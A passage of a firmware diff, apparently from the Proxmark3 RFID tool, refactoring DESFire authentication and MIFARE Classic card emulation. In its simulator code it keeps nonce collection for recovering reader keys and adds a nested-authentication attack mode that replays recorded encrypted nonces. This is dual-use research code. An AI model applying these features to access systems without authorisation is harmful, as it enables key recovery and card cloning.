des_decrypt(encRndB, rotRndB, key->data); memcpy(both + 8, encRndB, rndlen); + } else if (payload->mode == MFDES_AUTH_ISO) { + if (payload->algo == MFDES_ALGO_3DES) { uint8_t tmp[16] = {0x00}; memcpy(tmp, RndA, rndlen); @@ -452,11 +459,15 @@ void MifareDES_Auth1(uint8_t *datain) { memcpy(tmp + rndlen, rotRndB, rndlen); tdes_nxp_send(tmp, both, 32, key->data, IV, 3); } + } else if (payload->mode == MFDES_AUTH_AES) { + uint8_t tmp[32] = {0x00}; memcpy(tmp, RndA, rndlen); memcpy(tmp + 16, rotRndB, rndlen); + if (payload->algo == MFDES_ALGO_AES) { + if (mbedtls_aes_setkey_enc(&ctx, key->data, 128) != 0) { if (g_dbglevel >= DBG_EXTENDED) { DbpString("mbedtls_aes_setkey_enc failed"); @@ -472,6 +483,7 @@ void MifareDES_Auth1(uint8_t *datain) { if (payload->algo == MFDES_ALGO_AES || payload->algo == MFDES_ALGO_3K3DES) { bothlen = 32; } + if (payload->mode != MFDES_AUTH_PICC) { cmd[0] = 0x90; cmd[1] = MFDES_ADDITIONAL_FRAME; @@ -496,25 +508,30 @@ void MifareDES_Auth1(uint8_t *datain) { } if (payload->mode != MFDES_AUTH_PICC) { + if ((resp[len - 4] != 0x91) || (resp[len - 3] != 0x00)) { DbpString("Authentication failed."); OnErrorNG(CMD_HF_DESFIRE_AUTH1, 6); return; } + } else { + if (resp[1] != 0x00) { DbpString("Authentication failed."); OnErrorNG(CMD_HF_DESFIRE_AUTH1, 6); return; } + } // Part 4 Desfire_session_key_new(RndA, RndB, key, sessionkey); - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { print_result("SESSIONKEY : ", sessionkey->data, payload->keylen); + } if (payload->mode != MFDES_AUTH_PICC) { memcpy(encRndA, resp + 1, rndlen); @@ -523,13 +540,17 @@ void MifareDES_Auth1(uint8_t *datain) { } if (payload->mode == MFDES_AUTH_DES || payload->mode == MFDES_AUTH_PICC) { - if (payload->algo == MFDES_ALGO_DES) + + if (payload->algo == MFDES_ALGO_DES) { des_decrypt(encRndA, encRndA, key->data); - else if (payload->algo == MFDES_ALGO_3DES) + } else if (payload->algo == MFDES_ALGO_3DES) { tdes_nxp_receive(encRndA, encRndA, rndlen, key->data, IV, 2); - else if (payload->algo == MFDES_ALGO_3K3DES) + } else if (payload->algo == MFDES_ALGO_3K3DES) { tdes_nxp_receive(encRndA, encRndA, rndlen, key->data, IV, 3); + } + } else if (payload->mode == MFDES_AUTH_AES) { + if (mbedtls_aes_setkey_dec(&ctx, key->data, 128) != 0) { if (g_dbglevel >= DBG_EXTENDED) { DbpString("mbedtls_aes_setkey_dec failed"); @@ -546,6 +567,7 @@ void MifareDES_Auth1(uint8_t *datain) { print_result("RndB: ", RndB, rndlen); print_result("encRndA : ", encRndA, rndlen); } + for (int x = 0; x < rndlen; x++) { if (RndA[x] != encRndA[x]) { DbpString("Authentication failed. Cannot verify Session Key."); @@ -645,10 +667,6 @@ void MifareDES_Auth1(uint8_t *datain) { */ - //OnSuccess(); - //reply_old(CMD_ACK, 1, 0, 0, skey->data, payload->keylen); - //reply_mix(CMD_ACK, 1, len, 0, resp, len); - LED_B_ON(); authres_t rpayload; rpayload.sessionkeylen = payload->keylen; @@ -671,15 +689,17 @@ int DesfireAPDU(uint8_t *cmd, size_t cmd_len, uint8_t *dataout) { wrappedLen = CreateAPDU(cmd, cmd_len, wCmd); - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { print_result("WCMD <--: ", wCmd, wrappedLen); + } ReaderTransmit(wCmd, wrappedLen, NULL); len = ReaderReceive(resp, sizeof(resp), par); - if (!len) { + if (len == 0) { if (g_dbglevel >= DBG_EXTENDED) Dbprintf("fukked"); return false; //DATA LINK ERROR + } // if we received an I- or R(ACK)-Block with a block number equal to the // current block number, toggle the current block number diff --git a/armsrc/mifaresim.c b/armsrc/mifaresim.c index 2e16f1c96..b69ebe0c6 100644 --- a/armsrc/mifaresim.c +++ b/armsrc/mifaresim.c @@ -45,10 +45,11 @@ #include "crc16.h" #include "dbprint.h" #include "ticks.h" +#include "parity.h" static bool IsKeyBReadable(uint8_t blockNo) { - uint8_t sector_trailer[16]; - emlGetMem(sector_trailer, SectorTrailer(blockNo), 1); + uint8_t sector_trailer[MIFARE_BLOCK_SIZE] = {0}; + emlGetMem_xt(sector_trailer, SectorTrailer(blockNo), 1, MIFARE_BLOCK_SIZE); uint8_t AC = ((sector_trailer[7] >> 5) & 0x04) | ((sector_trailer[8] >> 2) & 0x02) | ((sector_trailer[8] >> 7) & 0x01); @@ -56,55 +57,64 @@ static bool IsKeyBReadable(uint8_t blockNo) { } static bool IsTrailerAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action) { - uint8_t sector_trailer[16]; - emlGetMem(sector_trailer, blockNo, 1); + uint8_t sector_trailer[MIFARE_BLOCK_SIZE] = {0}; + emlGetMem_xt(sector_trailer, blockNo, 1, MIFARE_BLOCK_SIZE); + uint8_t AC = ((sector_trailer[7] >> 5) & 0x04) | ((sector_trailer[8] >> 2) & 0x02) | ((sector_trailer[8] >> 7) & 0x01); + switch (action) { case AC_KEYA_READ: { - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsTrailerAccessAllowed: AC_KEYA_READ"); + } return false; } case AC_KEYA_WRITE: { - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsTrailerAccessAllowed: AC_KEYA_WRITE"); + } return ((keytype == AUTHKEYA && (AC == 0x00 || AC == 0x01)) || (keytype == AUTHKEYB && (AC == 0x04 || AC == 0x03))); } case AC_KEYB_READ: { - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsTrailerAccessAllowed: AC_KEYB_READ"); + } return (keytype == AUTHKEYA && (AC == 0x00 || AC == 0x02 || AC == 0x01)); } case AC_KEYB_WRITE: { - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsTrailerAccessAllowed: AC_KEYB_WRITE"); + } return ((keytype == AUTHKEYA && (AC == 0x00 || AC == 0x01)) || (keytype == AUTHKEYB && (AC == 0x04 || AC == 0x03))); } case AC_AC_READ: { - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsTrailerAccessAllowed: AC_AC_READ"); + } return ((keytype == AUTHKEYA) || (keytype == AUTHKEYB && !(AC == 0x00 || AC == 0x02 || AC == 0x01))); } case AC_AC_WRITE: { - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsTrailerAccessAllowed: AC_AC_WRITE"); + } return ((keytype == AUTHKEYA && (AC == 0x01)) || (keytype == AUTHKEYB && (AC == 0x03 || AC == 0x05))); } - default: + default: { return false; + } } } static bool IsDataAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action) { - uint8_t sector_trailer[16]; - emlGetMem(sector_trailer, SectorTrailer(blockNo), 1); + uint8_t sector_trailer[MIFARE_BLOCK_SIZE] = {0}; + emlGetMem_xt(sector_trailer, SectorTrailer(blockNo), 1, MIFARE_BLOCK_SIZE); uint8_t sector_block; if (blockNo <= MIFARE_2K_MAXBLOCK) { @@ -119,54 +129,62 @@ static bool IsDataAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action AC = ((sector_trailer[7] >> 2) & 0x04) | ((sector_trailer[8] << 1) & 0x02) | ((sector_trailer[8] >> 4) & 0x01); - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsDataAccessAllowed: case 0x00 - %02x", AC); + } break; } case 0x01: { AC = ((sector_trailer[7] >> 3) & 0x04) | ((sector_trailer[8] >> 0) & 0x02) | ((sector_trailer[8] >> 5) & 0x01); - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsDataAccessAllowed: case 0x01 - %02x", AC); + } break; } case 0x02: { AC = ((sector_trailer[7] >> 4) & 0x04) | ((sector_trailer[8] >> 1) & 0x02) | ((sector_trailer[8] >> 6) & 0x01); - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsDataAccessAllowed: case 0x02 - %02x", AC); + } break; } default: - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsDataAccessAllowed: Error"); + } return false; } switch (action) { case AC_DATA_READ: { - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsDataAccessAllowed - AC_DATA_READ: OK"); + } return ((keytype == AUTHKEYA && !(AC == 0x03 || AC == 0x05 || AC == 0x07)) || (keytype == AUTHKEYB && !(AC == 0x07))); } case AC_DATA_WRITE: { - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsDataAccessAllowed - AC_DATA_WRITE: OK"); + } return ((keytype == AUTHKEYA && (AC == 0x00)) || (keytype == AUTHKEYB && (AC == 0x00 || AC == 0x04 || AC == 0x06 || AC == 0x03))); } case AC_DATA_INC: { - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("IsDataAccessAllowed - AC_DATA_INC: OK"); + } return ((keytype == AUTHKEYA && (AC == 0x00)) || (keytype == AUTHKEYB && (AC == 0x00 || AC == 0x06))); } case AC_DATA_DEC_TRANS_REST: { - if (g_dbglevel >= DBG_EXTENDED) + if (g_dbglevel >= DBG_EXTENDED) { Dbprintf("AC_DATA_DEC_TRANS_REST: OK"); + } return ((keytype == AUTHKEYA && (AC == 0x00 || AC == 0x06 || AC == 0x01)) || (keytype == AUTHKEYB && (AC == 0x00 || AC == 0x06 || AC == 0x01))); } @@ -183,8 +201,23 @@ static bool IsAccessAllowed(uint8_t blockNo, uint8_t keytype, uint8_t action) { } } -static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_t sak, tag_response_info_t **responses, uint32_t *cuid, uint8_t *uid_len, uint8_t **rats, uint8_t *rats_len) { +static uint8_t MifareMaxSector(uint16_t flags) { + if (IS_FLAG_MF_SIZE(flags, MIFARE_MINI_MAX_BYTES)) { + return MIFARE_MINI_MAXSECTOR; + } else if (IS_FLAG_MF_SIZE(flags, MIFARE_1K_MAX_BYTES)) { + return MIFARE_1K_MAXSECTOR; + } else if (IS_FLAG_MF_SIZE(flags, MIFARE_2K_MAX_BYTES)) { + return MIFARE_2K_MAXSECTOR; + } else if (IS_FLAG_MF_SIZE(flags, MIFARE_4K_MAX_BYTES)) { + return MIFARE_4K_MAXSECTOR; + } else { + return MIFARE_4K_MAXSECTOR; + } +} +bool MifareSimInit(uint16_t flags, uint8_t *uid, uint16_t atqa, uint8_t sak, tag_response_info_t **responses, uint32_t *cuid, uint8_t *uid_len, uint8_t **rats, uint8_t *rats_len) { + + uint8_t uid_tmp[10] = {0}; // SPEC: https://www.nxp.com/docs/en/application-note/AN10833.pdf // ATQA static uint8_t rATQA_Mini[] = {0x04, 0x00}; // indicate Mifare classic Mini 4Byte UID @@ -235,84 +268,86 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ // Can be set from emulator memory or incoming data // Length: 4,7,or 10 bytes - // Get UID, SAK, ATQA from EMUL - if ((flags & FLAG_UID_IN_EMUL) == FLAG_UID_IN_EMUL) { - uint8_t block0[16]; - emlGet(block0, 0, 16); + if (IS_FLAG_UID_IN_EMUL(flags)) { - // If uid size defined, copy only uid from EMUL to use, backward compatibility for 'hf_colin.c', 'hf_mattyrun.c' - if ((flags & (FLAG_4B_UID_IN_DATA | FLAG_7B_UID_IN_DATA | FLAG_10B_UID_IN_DATA)) != 0) { - memcpy(datain, block0, 10); // load 10bytes from EMUL to the datain pointer. to be used below. - } else { - // Check for 4 bytes uid: bcc corrected and single size uid bits in ATQA - if ((block0[0] ^ block0[1] ^ block0[2] ^ block0[3]) == block0[4] && (block0[6] & 0xc0) == 0) { - flags |= FLAG_4B_UID_IN_DATA; - memcpy(datain, block0, 4); - rSAK[0] = block0[5]; - memcpy(rATQA, &block0[6], sizeof(rATQA)); - } + if (uid == NULL) { + uid = uid_tmp; + } + // Get UID, SAK, ATQA from EMUL + uint8_t block0[MIFARE_BLOCK_SIZE]; + emlGet(block0, 0, MIFARE_BLOCK_SIZE); + + // Check for 4 bytes uid: bcc corrected and single size uid bits in ATQA + if ((block0[0] ^ block0[1] ^ block0[2] ^ block0[3]) == block0[4] && (block0[6] & 0xc0) == 0) { + FLAG_SET_UID_IN_DATA(flags, 4); + memcpy(uid, block0, 4); + rSAK[0] = block0[5]; + memcpy(rATQA, &block0[6], sizeof(rATQA)); + + } else if ((block0[8] & 0xc0) == 0x40) { // Check for 7 bytes UID: double size uid bits in ATQA - else if ((block0[8] & 0xc0) == 0x40) { - flags |= FLAG_7B_UID_IN_DATA; - memcpy(datain, block0, 7); - rSAK[0] = block0[7]; - memcpy(rATQA, &block0[8], sizeof(rATQA)); - } else { - Dbprintf("ERROR: " _RED_("Invalid dump. UID/SAK/ATQA not found")); - return false; - } + FLAG_SET_UID_IN_DATA(flags, 7); + memcpy(uid, block0, 7); + rSAK[0] = block0[7]; + memcpy(rATQA, &block0[8], sizeof(rATQA)); + + } else { + Dbprintf("ERROR: " _RED_("Invalid dump. UID/SAK/ATQA not found")); + return false; } + } else { + if (uid == NULL) { + Dbprintf("ERROR: " _RED_("Missing UID")); + return false; + } } // Tune tag type, if defined directly // Otherwise use defined by default or extracted from EMUL - if ((flags & FLAG_MF_MINI) == FLAG_MF_MINI) { + if (IS_FLAG_MF_SIZE(flags, MIFARE_MINI_MAX_BYTES)) { memcpy(rATQA, rATQA_Mini, sizeof(rATQA)); rSAK[0] = rSAK_Mini; if (g_dbglevel > DBG_NONE) Dbprintf("Enforcing Mifare Mini ATQA/SAK"); - } else if ((flags & FLAG_MF_1K) == FLAG_MF_1K) { + + } else if (IS_FLAG_MF_SIZE(flags, MIFARE_1K_MAX_BYTES)) { memcpy(rATQA, rATQA_1k, sizeof(rATQA)); rSAK[0] = rSAK_1k; if (g_dbglevel > DBG_NONE) Dbprintf("Enforcing Mifare 1K ATQA/SAK"); - } else if ((flags & FLAG_MF_2K) == FLAG_MF_2K) { + + } else if (IS_FLAG_MF_SIZE(flags, MIFARE_2K_MAX_BYTES)) { memcpy(rATQA, rATQA_2k, sizeof(rATQA)); rSAK[0] = rSAK_2k; *rats = rRATS; *rats_len = sizeof(rRATS); if (g_dbglevel > DBG_NONE) Dbprintf("Enforcing Mifare 2K ATQA/SAK with RATS support"); - } else if ((flags & FLAG_MF_4K) == FLAG_MF_4K) { + + } else if (IS_FLAG_MF_SIZE(flags, MIFARE_4K_MAX_BYTES)) { memcpy(rATQA, rATQA_4k, sizeof(rATQA)); rSAK[0] = rSAK_4k; if (g_dbglevel > DBG_NONE) Dbprintf("Enforcing Mifare 4K ATQA/SAK"); } // Prepare UID arrays - if ((flags & FLAG_4B_UID_IN_DATA) == FLAG_4B_UID_IN_DATA) { // get UID from datain - memcpy(rUIDBCC1, datain, 4); + if (IS_FLAG_UID_IN_DATA(flags, 4)) { + memcpy(rUIDBCC1, uid, 4); *uid_len = 4; - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("MifareSimInit - FLAG_4B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_4B_UID_IN_DATA, flags, rUIDBCC1); - - // save CUID *cuid = bytes_to_num(rUIDBCC1, 4); // BCC rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("MifareSimInit - Flags: %04X - BCC1: %02X", flags, rUIDBCC1[4]); if (g_dbglevel > DBG_NONE) { Dbprintf("4B UID: %02x%02x%02x%02x", rUIDBCC1[0], rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3]); } // Correct uid size bits in ATQA rATQA[0] = (rATQA[0] & 0x3f); // single size uid - - } else if ((flags & FLAG_7B_UID_IN_DATA) == FLAG_7B_UID_IN_DATA) { - memcpy(&rUIDBCC1[1], datain, 3); - memcpy(rUIDBCC2, datain + 3, 4); + } else if (IS_FLAG_UID_IN_DATA(flags, 7)) { + memcpy(&rUIDBCC1[1], uid, 3); + memcpy(rUIDBCC2, uid + 3, 4); *uid_len = 7; - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("MifareSimInit - FLAG_7B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_7B_UID_IN_DATA, flags, rUIDBCC1); - // save CUID *cuid = bytes_to_num(rUIDBCC2, 4); // CascadeTag, CT @@ -320,6 +355,8 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ // BCC rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; rUIDBCC2[4] = rUIDBCC2[0] ^ rUIDBCC2[1] ^ rUIDBCC2[2] ^ rUIDBCC2[3]; + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("MifareSimInit - Flags: %04X - BCC1: %02X - BCC2: %02X", flags, rUIDBCC1[4], rUIDBCC2[4]); if (g_dbglevel > DBG_NONE) { Dbprintf("7B UID: %02x %02x %02x %02x %02x %02x %02x", rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3], rUIDBCC2[0], rUIDBCC2[1], rUIDBCC2[2], rUIDBCC2[3]); @@ -327,15 +364,11 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ // Correct uid size bits in ATQA rATQA[0] = (rATQA[0] & 0x3f) | 0x40; // double size uid - - } else if ((flags & FLAG_10B_UID_IN_DATA) == FLAG_10B_UID_IN_DATA) { - memcpy(&rUIDBCC1[1], datain, 3); - memcpy(&rUIDBCC2[1], datain + 3, 3); - memcpy(rUIDBCC3, datain + 6, 4); + } else if (IS_FLAG_UID_IN_DATA(flags, 10)) { + memcpy(&rUIDBCC1[1], uid, 3); + memcpy(&rUIDBCC2[1], uid + 3, 3); + memcpy(rUIDBCC3, uid + 6, 4); *uid_len = 10; - if (g_dbglevel >= DBG_EXTENDED) - Dbprintf("MifareSimInit - FLAG_10B_UID_IN_DATA => Get UID from datain: %02X - Flag: %02X - UIDBCC1: %02X", FLAG_10B_UID_IN_DATA, flags, rUIDBCC1); - // save CUID *cuid = bytes_to_num(rUIDBCC3, 4); // CascadeTag, CT @@ -345,7 +378,8 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ rUIDBCC1[4] = rUIDBCC1[0] ^ rUIDBCC1[1] ^ rUIDBCC1[2] ^ rUIDBCC1[3]; rUIDBCC2[4] = rUIDBCC2[0] ^ rUIDBCC2[1] ^ rUIDBCC2[2] ^ rUIDBCC2[3]; rUIDBCC3[4] = rUIDBCC3[0] ^ rUIDBCC3[1] ^ rUIDBCC3[2] ^ rUIDBCC3[3]; - + if (g_dbglevel >= DBG_EXTENDED) + Dbprintf("MifareSimInit - Flags: %04X - BCC1: %02X - BCC2: %02X - BCC3: %02X", flags, rUIDBCC1[4], rUIDBCC2[4], rUIDBCC3[4]); if (g_dbglevel > DBG_NONE) { Dbprintf("10B UID: %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x", rUIDBCC1[1], rUIDBCC1[2], rUIDBCC1[3], @@ -360,11 +394,11 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ Dbprintf("ERROR: " _RED_("UID size not defined")); return false; } - if (flags & FLAG_FORCED_ATQA) { + if (flags & FLAG_ATQA_IN_DATA) { rATQA[0] = atqa >> 8; rATQA[1] = atqa & 0xff; } - if (flags & FLAG_FORCED_SAK) { + if (flags & FLAG_SAK_IN_DATA) { rSAK[0] = sak; } if (g_dbglevel > DBG_NONE) { @@ -425,7 +459,7 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ // 53 * 8 data bits, 53 * 1 parity bits, 18 start bits, 18 stop bits, 18 correction bits -> need 571 bytes buffer #define ALLOCATED_TAG_MODULATION_BUFFER_SIZE 571 - uint8_t *free_buffer = BigBuf_malloc(ALLOCATED_TAG_MODULATION_BUFFER_SIZE); + uint8_t *free_buffer = BigBuf_calloc(ALLOCATED_TAG_MODULATION_BUFFER_SIZE); // modulation buffer pointer and current buffer free space size uint8_t *free_buffer_pointer = free_buffer; size_t free_buffer_size = ALLOCATED_TAG_MODULATION_BUFFER_SIZE; @@ -453,16 +487,11 @@ static bool MifareSimInit(uint16_t flags, uint8_t *datain, uint16_t atqa, uint8_ /** *MIFARE 1K simulate. * -*@param flags : -* FLAG_INTERACTIVE - In interactive mode, we are expected to finish the operation with an ACK -* FLAG_4B_UID_IN_DATA - means that there is a 4-byte UID in the data-section, we're expected to use that -* FLAG_7B_UID_IN_DATA - means that there is a 7-byte UID in the data-section, we're expected to use that -* FLAG_10B_UID_IN_DATA - use 10-byte UID in the data-section not finished -* FLAG_NR_AR_ATTACK - means we should collect NR_AR responses for bruteforcing later +*@param flags: See pm3_cmd.h for the full definitions *@param exitAfterNReads, exit simulation after n blocks have been read, 0 is infinite ... -* (unless reader attack mode enabled then it runs util it gets enough nonces to recover all keys attmpted) +* (unless reader attack mode enabled then it runs util it gets enough nonces to recover all keys attempted) */ -void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint16_t atqa, uint8_t sak) { +void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t atqa, uint8_t sak) { tag_response_info_t *responses; uint8_t cardSTATE = MFEMUL_NOFIELD; uint8_t uid_len = 0; // 4, 7, 10 @@ -473,6 +502,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 uint8_t cardWRBL = 0; uint8_t cardAUTHSC = 0; + uint8_t cardMaxSEC = MifareMaxSector(flags); uint8_t cardAUTHKEY = AUTHKEYNONE; // no authentication uint32_t cardRr = 0; uint32_t ans = 0; @@ -496,28 +526,14 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 uint8_t rats_len = 0; - // if fct is called with NULL we need to assign some memory since this pointer is passaed around - uint8_t datain_tmp[10] = {0}; - if (datain == NULL) { - datain = datain_tmp; - } - //Here, we collect UID,sector,keytype,NT,AR,NR,NT2,AR2,NR2 // This will be used in the reader-only attack. - //allow collecting up to 7 sets of nonces to allow recovery of up to 7 keys -#define ATTACK_KEY_COUNT 7 // keep same as define in cmdhfmf.c -> readerAttack() (Cannot be more than 7) - nonces_t ar_nr_resp[ATTACK_KEY_COUNT * 2]; // *2 for 2 separate attack types (nml, moebius) 36 * 7 * 2 bytes = 504 bytes + //allow collecting up to 16 sets of nonces to allow recovery of up to 16 keys +#define ATTACK_KEY_COUNT 16 + nonces_t ar_nr_resp[ATTACK_KEY_COUNT]; // for moebius attack type memset(ar_nr_resp, 0x00, sizeof(ar_nr_resp)); - uint8_t ar_nr_collected[ATTACK_KEY_COUNT * 2]; // *2 for 2nd attack type (moebius) - memset(ar_nr_collected, 0x00, sizeof(ar_nr_collected)); - uint8_t nonce1_count = 0; - uint8_t nonce2_count = 0; - uint8_t moebius_n_count = 0; - bool gettingMoebius = false; - uint8_t mM = 0; //moebius_modifier for collection storage - // Authenticate response - nonce uint8_t rAUTH_NT[4] = {0, 0, 0, 1}; uint8_t rAUTH_NT_keystream[4]; @@ -528,7 +544,7 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // free eventually allocated BigBuf memory but keep Emulator Memory BigBuf_free_keep_EM(); - if (MifareSimInit(flags, datain, atqa, sak, &responses, &cuid, &uid_len, &rats, &rats_len) == false) { + if (MifareSimInit(flags, uid, atqa, sak, &responses, &cuid, &uid_len, &rats, &rats_len) == false) { BigBuf_free_keep_EM(); return; } @@ -547,12 +563,13 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 int counter = 0; bool finished = false; + bool running_nested_auth_attack = false; bool button_pushed = BUTTON_PRESS(); while ((button_pushed == false) && (finished == false)) { WDT_HIT(); - if (counter == 3000) { + if (counter == 1000) { if (data_available()) { Dbprintf("----------- " _GREEN_("BREAKING") " ----------"); break; @@ -562,21 +579,6 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 counter++; } - /* - // find reader field - if (cardSTATE == MFEMUL_NOFIELD) { - - vHf = (MAX_ADC_HF_VOLTAGE * SumAdc(ADC_CHAN_HF, 32)) >> 15; - - if (vHf > MF_MINFIELDV) { - cardSTATE_TO_IDLE(); - LED_A_ON(); - } - button_pushed = BUTTON_PRESS(); - continue; - } - */ - FpgaEnableTracing(); //Now, get data int res = EmGetCmd(receivedCmd, sizeof(receivedCmd), &receivedCmd_len, receivedCmd_par); @@ -743,10 +745,6 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // WORK case MFEMUL_WORK: { - if (g_dbglevel >= DBG_EXTENDED) { - // Dbprintf("[MFEMUL_WORK] Enter in case"); - } - if (receivedCmd_len == 0) { if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] NO CMD received"); break; @@ -791,12 +789,21 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] KEY %c: %012" PRIx64, (cardAUTHKEY == 0) ? 'A' : 'B', emlGetKey(cardAUTHSC, cardAUTHKEY)); + // sector out of range - do not respond + if ((cardAUTHSC >= cardMaxSEC) && (flags & FLAG_MF_ALLOW_OOB_AUTH) == 0) { + cardAUTHKEY = AUTHKEYNONE; // not authenticated + cardSTATE_TO_IDLE(); + if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] Out of range sector %d(0x%02x) >= %d(0x%02x)", cardAUTHSC, cardAUTHSC, cardMaxSEC, cardMaxSEC); + LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true); + break; + } + // first authentication crypto1_deinit(pcs); // Load key into crypto crypto1_init(pcs, emlGetKey(cardAUTHSC, cardAUTHKEY)); - + running_nested_auth_attack = false; if (!encrypted_data) { // Receive Cmd in clear txt // Update crypto state (UID ^ NONCE) @@ -820,9 +827,38 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 ans = nonce ^ crypto1_word(pcs, cuid ^ nonce, 0); num_to_bytes(ans, 4, rAUTH_AT); */ - // rAUTH_NT, rAUTH_NT_keystream contains prepared nonce and keystream for nested authentication - // we need calculate parity bits for non-encrypted sequence - mf_crypto1_encryptEx(pcs, rAUTH_NT, rAUTH_NT_keystream, response, 4, response_par); + + // if key not known and FLAG_NESTED_AUTH_ATTACK and we have nt/nt_enc/parity, send recorded nt_enc and parity + if ((flags & FLAG_NESTED_AUTH_ATTACK) == FLAG_NESTED_AUTH_ATTACK) { + if (emlGetKey(cardAUTHSC, cardAUTHKEY) == 0) { + uint8_t buf[MIFARE_BLOCK_SIZE] = {0}; + emlGetMem_xt(buf, (CARD_MEMORY_RF08S_OFFSET / MIFARE_BLOCK_SIZE) + cardAUTHSC, 1, MIFARE_BLOCK_SIZE); + if (buf[(cardAUTHKEY * 8) + 3] == 0xAA) { // extra check to tell we have nt/nt_enc/par_err + running_nested_auth_attack = true; + // nt + nonce = bytes_to_num(buf + (cardAUTHKEY * 8), 2); + nonce = nonce << 16 | prng_successor(nonce, 16); + // nt_enc + memcpy(response, buf + (cardAUTHKEY * 8) + 4, 4); + uint8_t nt_par_err = buf[(cardAUTHKEY * 8) + 2]; + uint32_t nt_enc = bytes_to_num(response, 4); + response_par[0] = ((((nt_par_err >> 3) & 1) ^ oddparity8((nt_enc >> 24) & 0xFF)) << 7 | + (((nt_par_err >> 2) & 1) ^ oddparity8((nt_enc >> 16) & 0xFF)) << 6 | + (((nt_par_err >> 1) & 1) ^ oddparity8((nt_enc >> 8) & 0xFF)) << 5 | + (((nt_par_err >> 0) & 1) ^ oddparity8((nt_enc >> 0) & 0xFF)) << 4); + ar_nr_resp[0].cuid = cuid; + ar_nr_resp[0].sector = cardAUTHSC; + ar_nr_resp[0].keytype = cardAUTHKEY; + ar_nr_resp[0].nonce = nonce; + ar_nr_resp[0].nonce2 = nt_enc; + }; + } + } + if (running_nested_auth_attack == false) { + // rAUTH_NT, rAUTH_NT_keystream contains prepared nonce and keystream for nested authentication + // we need calculate parity bits for non-encrypted sequence + mf_crypto1_encryptEx(pcs, rAUTH_NT, rAUTH_NT_keystream, response, 4, response_par); + } EmSendCmdPar(response, 4, response_par); FpgaDisableTracing(); @@ -893,14 +929,16 @@ void Mifare1ksim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *datain, uint1 // Compliance of MIFARE Classic EV1 1K Datasheet footnote of Table 8 // If access bits show that key B is Readable, any subsequent memory access will be refused. + // Some cards don't respect it so we can also skip it with FLAG_MF_USE_READ_KEYB + if ((flags & FLAG_MF_USE_READ_KEYB) != FLAG_MF_USE_READ_KEYB) { + if (cardAUTHKEY == AUTHKEYB && 